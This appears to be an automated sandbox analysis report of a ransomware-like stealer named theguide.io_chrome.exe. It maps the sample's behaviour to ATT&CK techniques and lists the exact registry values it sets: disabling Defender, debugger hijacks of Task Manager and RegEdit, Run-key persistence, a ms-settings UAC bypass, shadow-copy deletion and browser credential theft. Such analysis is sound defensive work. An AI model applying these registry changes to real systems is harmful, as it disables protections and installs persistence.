94891f10f79af6125f676002d626e651602703e1f7ba13ebf6713044f8734904

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	theguide.io_chrome.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	theguide.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1704	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	theguide.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	theguide.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	theguide.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe"	theguide.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	theguide.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe"	theguide.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	theguide.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe"	theguide.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3716	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	theguide.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	theguide.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	theguide.io_chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe"	theguide.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe"	theguide.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe"	theguide.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe"	theguide.io_chrome.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	theguide.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	theguide.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	theguide.io_chrome.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2928	tasklist.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	theguide.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	theguide.io_chrome.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4516	sc.exe
6120	sc.exe
4348	sc.exe
4240	sc.exe
4884	sc.exe
3568	sc.exe
3168	sc.exe
3348	sc.exe
5796	sc.exe
736	sc.exe
3152	sc.exe
4360	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3924	NETSTAT.EXE
1348	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4348	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5416	vssadmin.exe
5252	vssadmin.exe
2892	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000\Control Panel\Desktop\WallpaperStyle = "2"	theguide.io_chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134226745432380614"	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings\shell\open\command\DelegateExecute	theguide.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings\shell\open	theguide.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\.pdf\ = "PDFBotnet"	theguide.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	theguide.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	theguide.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe"	theguide.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings\shell\open\command	theguide.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings\shell	theguide.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings	theguide.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings\shell\open\command	theguide.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings	theguide.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\theguide.io_chrome.exe\" \"%1\""	theguide.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	theguide.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	theguide.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings\shell	theguide.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3534313381-4287935181-1066995225-1000_Classes\ms-settings\shell\open	theguide.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1084	schtasks.exe
4052	schtasks.exe
5500	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5616	chrome.exe
5616	chrome.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe
4984	theguide.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4984	theguide.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe
Token: SeIncreaseQuotaPrivilege	1248	WMIC.exe
Token: SeSecurityPrivilege	1248	WMIC.exe
Token: SeTakeOwnershipPrivilege	1248	WMIC.exe
Token: SeLoadDriverPrivilege	1248	WMIC.exe
Token: SeSystemProfilePrivilege	1248	WMIC.exe
Token: SeSystemtimePrivilege	1248	WMIC.exe
Token: SeProfSingleProcessPrivilege	1248	WMIC.exe
Token: SeIncBasePriorityPrivilege	1248	WMIC.exe
Token: SeCreatePagefilePrivilege	1248	WMIC.exe
Token: SeBackupPrivilege	1248	WMIC.exe
Token: SeRestorePrivilege	1248	WMIC.exe
Token: SeShutdownPrivilege	1248	WMIC.exe
Token: SeDebugPrivilege	1248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1248	WMIC.exe
Token: SeRemoteShutdownPrivilege	1248	WMIC.exe
Token: SeUndockPrivilege	1248	WMIC.exe
Token: SeManageVolumePrivilege	1248	WMIC.exe
Token: 33	1248	WMIC.exe
Token: 34	1248	WMIC.exe
Token: 35	1248	WMIC.exe
Token: 36	1248	WMIC.exe
Token: SeBackupPrivilege	380	vssvc.exe
Token: SeRestorePrivilege	380	vssvc.exe
Token: SeAuditPrivilege	380	vssvc.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe
Token: SeIncreaseQuotaPrivilege	1248	WMIC.exe
Token: SeSecurityPrivilege	1248	WMIC.exe
Token: SeTakeOwnershipPrivilege	1248	WMIC.exe
Token: SeLoadDriverPrivilege	1248	WMIC.exe
Token: SeSystemProfilePrivilege	1248	WMIC.exe
Token: SeSystemtimePrivilege	1248	WMIC.exe
Token: SeProfSingleProcessPrivilege	1248	WMIC.exe
Token: SeIncBasePriorityPrivilege	1248	WMIC.exe
Token: SeCreatePagefilePrivilege	1248	WMIC.exe
Token: SeBackupPrivilege	1248	WMIC.exe
Token: SeRestorePrivilege	1248	WMIC.exe
Token: SeShutdownPrivilege	1248	WMIC.exe
Token: SeDebugPrivilege	1248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1248	WMIC.exe
Token: SeRemoteShutdownPrivilege	1248	WMIC.exe
Token: SeUndockPrivilege	1248	WMIC.exe
Token: SeManageVolumePrivilege	1248	WMIC.exe
Token: 33	1248	WMIC.exe
Token: 34	1248	WMIC.exe
Token: 35	1248	WMIC.exe
Token: 36	1248	WMIC.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe
Token: SeShutdownPrivilege	5616	chrome.exe
Token: SeCreatePagefilePrivilege	5616	chrome.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe
5616	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4984	theguide.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 5616	4984	theguide.io_chrome.exe	78
PID 5616 wrote to memory of 1708	5616	chrome.exe	79
PID 4984 wrote to memory of 1704	4984	theguide.io_chrome.exe	80
PID 4984 wrote to memory of 5796	4984	theguide.io_chrome.exe	82
PID 4984 wrote to memory of 3152	4984	theguide.io_chrome.exe	84
PID 4984 wrote to memory of 736	4984	theguide.io_chrome.exe	86
PID 4984 wrote to memory of 4348	4984	theguide.io_chrome.exe	151
PID 4984 wrote to memory of 4240	4984	theguide.io_chrome.exe	90
PID 4984 wrote to memory of 4884	4984	theguide.io_chrome.exe	92
PID 5616 wrote to memory of 5060	5616	chrome.exe	94
PID 5616 wrote to memory of 5060	5616	chrome.exe	94
PID 5616 wrote to memory of 4344	5616	chrome.exe	95
PID 5616 wrote to memory of 4800	5616	chrome.exe	96
PID 5616 wrote to memory of 4800	5616	chrome.exe	96
PID 5616 wrote to memory of 3436	5616	chrome.exe	97
PID 5616 wrote to memory of 2412	5616	chrome.exe	98
PID 5616 wrote to memory of 3436	5616	chrome.exe	97
PID 5616 wrote to memory of 2412	5616	chrome.exe	98
PID 4984 wrote to memory of 4360	4984	theguide.io_chrome.exe	140
PID 5616 wrote to memory of 3388	5616	chrome.exe	102
PID 5616 wrote to memory of 3388	5616	chrome.exe	102
PID 4984 wrote to memory of 4516	4984	theguide.io_chrome.exe	104
PID 4984 wrote to memory of 6076	4984	theguide.io_chrome.exe	106
PID 4984 wrote to memory of 3568	4984	theguide.io_chrome.exe	128
PID 4984 wrote to memory of 6120	4984	theguide.io_chrome.exe	109
PID 4984 wrote to memory of 5416	4984	theguide.io_chrome.exe	111
PID 4984 wrote to memory of 1248	4984	theguide.io_chrome.exe	113
PID 5616 wrote to memory of 2044	5616	chrome.exe	114
PID 5616 wrote to memory of 2044	5616	chrome.exe	114
PID 6076 wrote to memory of 3768	6076	fodhelper.exe	119
PID 4984 wrote to memory of 2636	4984	theguide.io_chrome.exe	120
PID 4984 wrote to memory of 1084	4984	theguide.io_chrome.exe	121
PID 4984 wrote to memory of 4052	4984	theguide.io_chrome.exe	123
PID 5616 wrote to memory of 5608	5616	chrome.exe	126
PID 5616 wrote to memory of 5608	5616	chrome.exe	126
PID 4984 wrote to memory of 1364	4984	theguide.io_chrome.exe	129
PID 4984 wrote to memory of 2492	4984	theguide.io_chrome.exe	131
PID 4984 wrote to memory of 3088	4984	theguide.io_chrome.exe	132
PID 4984 wrote to memory of 6128	4984	theguide.io_chrome.exe	133
PID 4984 wrote to memory of 5528	4984	theguide.io_chrome.exe	134
PID 4984 wrote to memory of 5068	4984	theguide.io_chrome.exe	135
PID 4984 wrote to memory of 4680	4984	theguide.io_chrome.exe	136
PID 4984 wrote to memory of 940	4984	theguide.io_chrome.exe	137
PID 4984 wrote to memory of 5500	4984	theguide.io_chrome.exe	138
PID 4984 wrote to memory of 5256	4984	theguide.io_chrome.exe	146
PID 1364 wrote to memory of 5252	1364	cmd.exe	147
PID 5528 wrote to memory of 948	5528	cmd.exe	148
PID 6128 wrote to memory of 2928	6128	cmd.exe	149
PID 940 wrote to memory of 3924	940	cmd.exe	150
PID 3088 wrote to memory of 4348	3088	cmd.exe	151
PID 5068 wrote to memory of 2804	5068	cmd.exe	152
PID 4680 wrote to memory of 1348	4680	cmd.exe	153
PID 2804 wrote to memory of 4236	2804	net.exe	154
PID 4984 wrote to memory of 2892	4984	theguide.io_chrome.exe	155
